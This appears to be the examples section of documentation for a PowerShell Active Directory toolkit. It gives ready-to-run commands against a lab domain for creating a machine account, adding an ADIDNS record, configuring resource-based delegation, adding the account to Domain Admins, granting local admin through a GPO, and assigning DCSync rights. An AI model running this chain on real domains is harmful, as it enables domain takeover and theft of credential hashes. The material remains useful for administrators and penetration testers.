Examples

• Create a domain computer account:

New-ComputerAccount -SamAccountName 'testcomputer$' -Password 'P@ssw0rd'

• Reset the password of a domain account:

Set-UserPassword -SamAccountName 'testcomputer$' -NewPassword 'Str0ngP@ssw0rd' -Reset

• Add a DNS record to an Active Directory-Integrated DNS (ADIDNS) zone:

New-DomainDnsRecord -RecordType A -Name 'testcomputer' -ZoneName 'adatum.corp' -Data '192.168.1.200'

• Configure a Kerberos Resource-Based Delegation for a domain account that is going to be allowed to delegate authentication on an targeted system:

Set-KerberosDelegation -SamAccountName 'testcomputer$' -RBCD -TargetDN 'CN=WS10,CN=Computers,DC=ADATUM,DC=CORP' -Operation Add

• Add a domain account to an existing domain group:

Set-LdapObject -DistinguishedName 'CN=Domain Admins,CN=Users,DC=ADATUM,DC=CORP' -Properties @{member='CN=testcomputer,CN=Computers,DC=ADATUM,DC=CORP'} -Operation Add

• Add a domain account to the Administrators local group of domain computers:

$id = (Get-LdapObject -Filter "(&(objectCategory=groupPolicyContainer)(DisplayName=Default Domain Policy))" -Properties cn).cn
Add-GPGroupMember -PolicyId $id -BuiltinGroup Administrators -Member 'testcomputer$'

• Assign 'DCSync' extended rights to a domain account:

$sid = (New-Object Security.Principal.SecurityIdentifier (Get-LdapObject -Filter '(sAMAccountName=testcomputer$)').objectSid,0).Value
Set-LdapObjectAcl -DistinguishedName "DC=ADATUM,DC=CORP" -PrincipalSID $sid -Rights DCSync -Operation Add

• Delete a domain account:

Remove-LdapObject -DistinguishedName 'CN=testcomputer,CN=Computers,DC=ADATUM,DC=CORP'
